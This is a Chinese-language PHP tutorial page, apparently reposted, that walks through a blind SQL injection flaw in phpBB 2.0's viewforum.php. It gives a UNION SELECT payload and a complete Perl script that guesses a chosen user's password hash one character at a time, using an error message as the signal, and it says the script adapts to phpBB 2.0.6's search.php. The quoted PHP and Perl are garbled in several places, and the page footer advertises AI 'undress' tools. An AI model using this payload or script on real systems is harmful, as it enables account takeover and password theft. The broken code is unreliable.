首頁 後端開發 php教程 php注入實例_PHP教程

php注入實例_PHP教程

Jul 21, 2016 pm 04:09 PM
php 程式碼 關於 使用 完整 實例 文章 注入


php注入實例 在網路上很難看到一篇完整的關於php注入的文章和利用程式碼,於是我自已把mysql和php硬啃了幾個星期,下面說說我的休會吧,希望能拋磚引玉!
相信大家對asp的注入已經是十分熟悉了,而對php的注入比asp要困難,因為php的magic_gpc選項確實讓人頭疼,在註入中不要出現引號,而php大多和mysql結合,而mysql的功能上的缺點,從另外一人角度看確在某種程度上防止了sql njection的攻擊,我在這裡就舉一個實例吧,我以phpbb2.0為例:
在viewforum.php中有一個變數沒過濾:
if ( isset($HTTP_GET_VARS{
$forum_id = (URL]) )
{
($HTTP_POST_VARS}
else if ( isset($HTTP_GET_VARS['forum']))
{
$. HTTP_GET_VARS['forum'];
}
else
{
$forum_id = '';
}
就是這個forum,而下面直接把它放進了查詢中:>}
就是這個forum,而下面直接把它放進了查詢中:
if ( !empty($forum_id) )
{
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id"; sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain forums information', '', __LINE__, __FILE__, $sql)
; 🎜>}
else
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

如果是asp的話,相信很多人都會注入瞭如果這個人指定的指定的論壇不存在的話,就會使$result為空,於是返回Could not obtain forums information的信息,於是下面的代碼就不能執行下去了
//
// If the query doesn't return any rows this isn't a valid forum. Inform
// the user.
//
if ( !($forum_row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_MESSAGE, 'Forum_not_exist');
}

//
// Start session management
//
$userdata = session_start(​​puser_y_ippft_puser_user_ips_y_pot_ipp_user_y_Pg_b; ****************************************

關鍵就是打星號的那一行了,這裡是一個函數session_pagestart($user_ip, $thispage_id),這是在session.php中定義的一個函數,由於代碼太

長,就不全貼出來了,有興趣的可以自已看看,關鍵是這個函數也呼叫了session_begin(),函數呼叫如下session_begin($user_id, $user_ip,

$thispage_id, TRUE)),同樣是在這個檔案中定義的,其中有下列程式碼
$sql = "UPDATE " . SESSIONS_TABLE . "
SET session_user_id = $user_id, session_start = $current_time, session_time = $current_time, session_page =
WHERE session_id = '" . $session_id . "'
AND session_ip = '$user_ip'";
if ( !($result = $db->sql_query($)) ││ ! $db->sql_affectedrows() )
{
$session_id = md5(uniqid($user_ip));

$sql = "INSERT INTO " . SESSIONS_TABLE . "
(session_] session_user_id, session_start, session_time, session_ip, session_page,

session_logged_in)
VALUES ('$session_id', $pageuser_id, $current_time, $current_time, '$session_id', $pageuser_id, $current_time, $current_time, '$log;
if ( !($result = $db->sql_query($sql)) )
{
message_die(CRITICAL_ERROR, 'Error creating new session : session_begin', '', __LE__, __FI % >
$sql);
}


這裡有個session_page在mysql定義的是個整形數,他的値$page_id,也就是$forum_id,如果插入的不是整形就會報錯了,就會出現Error

creating new session : session_begin的提示,所以要指這$forum_id的值很重要,所以我把它指定為:-1 union select 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1,1,1,1 from phpbb_users where user_id=2 and ord(substring(user_password,1,1))=57,沒有引號吧!雖然指定的是一個不存在的forum_id但他返回的查詢結果可不一定是為空,這個就是猜user_id為2的用戶的第一位密碼的ascii碼值是是否為57,如果是的話文章中第一段程式碼中的$result可不為空了,於是就執行了ession_pagestart這個有問題的函數,插入的不是整數當然就要出錯了,於是就顯示Error creating new session : session_begin,就表明你猜對了第一位了,其它位類似.

如果沒有這句出錯訊息的話我想即使注入成功也很難判斷是否已經成功,看來出錯訊息也很有幫助啊.分析就到這裡,下面附上一段測試程式碼,這段程式碼只要稍加修改就能適用於其它類似的猜md5密碼的情況,這裡我用的英文版的返回條件,中文和其它語言的只要改一下返回條件就行了.

use HTTP::Request::Common;
use HTTP::Response;
use LWP::UserAgent;
$ua = new LWP::UserAgent;

print " ***********************n";
print " phpbb viewforum.php expn";
print " code by pinkeyesn" ;
print " www.icehack.comn";
print " ************************n";
print " please enter the weak file's url:n";
print "e.g. http://192.168.1.4/phpBB2/viewforum.phpn";
$adr=;
chomp($adr);
print "please enter the user_id that you want to crackn";
$u=;
chomp($u);
print "work starting,please wait!n";
@pink=(48..57);
@pink=(@pink,97..102);
for($j=1;$jfor ($i=0;$i$url=$adr."?forum=-1 union select 1,1,1,1,1,1,1,1 ,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from phpbb_users where%

20user_id=$u and ord(substring(user_password,$ j,1))=$pink[$i]";
$request = HTTP::Request->new('GET', "$url");
$response = $ua->request( $request);

if ($response->is_success) {
if ($response->content =~ /Error creating new session/) {
$pwd.=chr($pink [$i]);
print "$pwdn";
}

}
}
}
if ($pwd ne ""){
print "successfully,The password is $pwd,good luckn";}
else{
print "bad luck,work failed!n";}

至於最近的phpbb2.0.6的search.php的問題利用程序只要將上面程式碼稍加修改就行了,如要錯誤請上www.icehack.com指正.

www.bkjia.comtruehttp: //www.bkjia.com/PHPjc/314566.htmlTechArticlephp注入實例在網路上很難看到一篇完整的關於php注入的文章和利用程式碼,於是我自已把mysql和php硬啃了幾個星期,下面說說我的休會吧,希望能拋...
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

Video Face Swap

Video Face Swap

使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

<🎜>:泡泡膠模擬器無窮大 - 如何獲取和使用皇家鑰匙
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
北端:融合系統,解釋
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora:巫婆樹的耳語 - 如何解鎖抓鉤
4 週前 By 尊渡假赌尊渡假赌尊渡假赌
<🎜>掩蓋:探險33-如何獲得完美的色度催化劑
2 週前 By 尊渡假赌尊渡假赌尊渡假赌

熱工具

記事本++7.3.1

記事本++7.3.1

好用且免費的程式碼編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

禪工作室 13.0.1

禪工作室 13.0.1

強大的PHP整合開發環境

Dreamweaver CS6

Dreamweaver CS6

視覺化網頁開發工具

SublimeText3 Mac版

SublimeText3 Mac版

神級程式碼編輯軟體(SublimeText3)

熱門話題

Java教學
1677
14
CakePHP 教程
1429
52
Laravel 教程
1333
25
PHP教程
1278
29
C# 教程
1257
24
PHP和Python:解釋了不同的範例 PHP和Python:解釋了不同的範例 Apr 18, 2025 am 12:26 AM

PHP主要是過程式編程,但也支持面向對象編程(OOP);Python支持多種範式,包括OOP、函數式和過程式編程。 PHP適合web開發,Python適用於多種應用,如數據分析和機器學習。

PHP:處理數據庫和服務器端邏輯 PHP:處理數據庫和服務器端邏輯 Apr 15, 2025 am 12:15 AM

PHP在數據庫操作和服務器端邏輯處理中使用MySQLi和PDO擴展進行數據庫交互,並通過會話管理等功能處理服務器端邏輯。 1)使用MySQLi或PDO連接數據庫,執行SQL查詢。 2)通過會話管理等功能處理HTTP請求和用戶狀態。 3)使用事務確保數據庫操作的原子性。 4)防止SQL注入,使用異常處理和關閉連接來調試。 5)通過索引和緩存優化性能,編寫可讀性高的代碼並進行錯誤處理。

PHP的目的:構建動態網站 PHP的目的:構建動態網站 Apr 15, 2025 am 12:18 AM

PHP用於構建動態網站,其核心功能包括:1.生成動態內容,通過與數據庫對接實時生成網頁;2.處理用戶交互和表單提交,驗證輸入並響應操作;3.管理會話和用戶認證,提供個性化體驗;4.優化性能和遵循最佳實踐,提升網站效率和安全性。

在PHP和Python之間進行選擇:指南 在PHP和Python之間進行選擇:指南 Apr 18, 2025 am 12:24 AM

PHP適合網頁開發和快速原型開發,Python適用於數據科學和機器學習。 1.PHP用於動態網頁開發,語法簡單,適合快速開發。 2.Python語法簡潔,適用於多領域,庫生態系統強大。

PHP和Python:深入了解他們的歷史 PHP和Python:深入了解他們的歷史 Apr 18, 2025 am 12:25 AM

PHP起源於1994年,由RasmusLerdorf開發,最初用於跟踪網站訪問者,逐漸演變為服務器端腳本語言,廣泛應用於網頁開發。 Python由GuidovanRossum於1980年代末開發,1991年首次發布,強調代碼可讀性和簡潔性,適用於科學計算、數據分析等領域。

為什麼要使用PHP?解釋的優點和好處 為什麼要使用PHP?解釋的優點和好處 Apr 16, 2025 am 12:16 AM

PHP的核心優勢包括易於學習、強大的web開發支持、豐富的庫和框架、高性能和可擴展性、跨平台兼容性以及成本效益高。 1)易於學習和使用,適合初學者;2)與web服務器集成好,支持多種數據庫;3)擁有如Laravel等強大框架;4)通過優化可實現高性能;5)支持多種操作系統;6)開源,降低開發成本。

PHP的影響:網絡開發及以後 PHP的影響:網絡開發及以後 Apr 18, 2025 am 12:10 AM

PHPhassignificantlyimpactedwebdevelopmentandextendsbeyondit.1)ItpowersmajorplatformslikeWordPressandexcelsindatabaseinteractions.2)PHP'sadaptabilityallowsittoscaleforlargeapplicationsusingframeworkslikeLaravel.3)Beyondweb,PHPisusedincommand-linescrip

PHP與Python:用例和應用程序 PHP與Python:用例和應用程序 Apr 17, 2025 am 12:23 AM

PHP適用於Web開發和內容管理系統,Python適合數據科學、機器學習和自動化腳本。 1.PHP在構建快速、可擴展的網站和應用程序方面表現出色,常用於WordPress等CMS。 2.Python在數據科學和機器學習領域表現卓越,擁有豐富的庫如NumPy和TensorFlow。

See all articles